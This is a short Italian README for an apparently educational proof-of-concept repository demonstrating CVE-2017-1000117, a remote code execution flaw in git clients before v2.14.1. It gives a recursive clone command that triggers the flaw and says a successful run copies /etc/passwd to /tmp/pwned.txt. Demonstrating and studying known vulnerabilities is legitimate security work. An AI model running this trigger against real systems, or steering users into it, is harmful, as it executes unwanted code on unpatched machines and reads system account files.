
Proof-of-concept exploit per CVE-2017-1000117, una vulnerabilità di esecuzione remota di codice nei client git precedenti alla v2.14.1, che dimostra lo sfruttamento di clonazione ricorsiva a scopo educativo.
Repo GIT di test per il PoC git-client-rce ( CVE-2017-1000117 )
https://marc.info/?l=git&m=150238802328673&w=2
Questa CVE colpisce tutti i client git < v2.14.1
Esegui il seguente comando sul sistema di test per vedere il PoC :
$git clone --recursive https://github.com/thelastbyte/CVE-2017-1000117.git
Un'esecuzione riuscita copierà il contenuto di /etc/passwd in /tmp/pwned.txt